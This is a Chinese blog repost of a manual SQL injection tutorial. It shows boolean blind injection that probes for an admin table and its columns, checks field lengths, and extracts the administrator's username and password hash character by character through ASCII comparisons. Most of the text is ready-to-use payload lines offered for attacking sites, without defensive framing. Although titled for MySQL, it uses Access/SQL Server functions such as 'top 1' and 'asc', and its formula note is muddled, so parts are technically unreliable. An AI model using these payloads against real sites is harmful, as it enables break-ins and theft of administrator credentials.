Ascii逐字解码法注入,mysql5.0一下版本手工注入

Posted 可我浪费着我寒冷的年华

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Ascii逐字解码法注入,mysql5.0一下版本手工注入相关的知识,希望对你有一定的参考价值。

/*By:珍惜少年时*/

逐字解码法,不一定非要猜字段内容。库名,表名,字段,data,都能猜。环境过滤了union(mysql5.0以下的版本就不支持union所以也可以用此方法),你可以用这方法。exists只是其中一种,还有别的方法也能猜。

 

注入思路:

  先把表跟字段猜解出来,猜解出来了.这个算是一个半猜解查询吧

00x1判断表是否存在

and exists (select * from admin) //猜解是否含有admin这个表

00x2判断字段是否存在

and exists (select username from admin) //猜解是否含有username这个字段

and exists (select password from admin) //猜解是否含有password这个字段

00x3字段长度的判断,判断了其长度更利于注入。比如判断了username的长度为五,那么极有可能是admin

 

username字段的判断:
and (select top 1 len(username) from admin)>5 //返回错误
and (select top 1 len(username) from admin)=5 //返回正确,说明username的单词长度为五个,很有可能是admin

password字段的判断:
and (select top 1 len(password) from admin)>16 //返回错误
and (select top 1 len(password) from admin)=16 //返回正确,说明password的单词长度为十六位的,很可能是经过md5加密的.

 

00x4[猜解管理员账号] //使用ASCII转换即可获得加密内容.

and(select top 1 asc(mid(username,1,1)) from admin)>97 错误
and(select top 1 asc(mid(username,1,1)) from admin)=97 正确 则说明只有第一位的ASCII码为九十七
and(select top 1 asc(mid(username,2,1)) from admin)=100 第二位也是同理.只不过mid函数里要修改以下部分内容
and(select top 1 asc(mid(username,3,1)) from admin)=109
and(select top 1 asc(mid(username,4,1)) from admin)=105
and(select top 1 asc(mid(username,5,1)) from admin)=110


00x5[猜解管理员密码]//与猜解账号方法大同小异

公式:and(select top 1 asc(mid(password,a,n)) from admin)>97      //注:a大于n大1,后面的数字是ascii。

and(select top 1 asc(mid(password,1,1)) from admin)>97
and(select top 1 asc(mid(password,1,1)) from admin)=97
and(select top 1 asc(mid(password,2,1)) from admin)=50
and(select top 1 asc(mid(password,3,1)) from admin)=36
......................................................

然后将97 50 36 等ascii码拿去解密。即可拿到真正的md5值

 


以上是关于Ascii逐字解码法注入,mysql5.0一下版本手工注入的主要内容,如果未能解决你的问题,请参考以下文章

mysql 手工注入解析

access注入

SQL注入之MYSQL

SQL注入之MYSQL

UnicodeDecodeError: 'ascii' 编解码器无法在位置解码字节 0xec

UnicodeDecodeError:'ascii'编解码器无法解码Textranking代码中的字节[重复]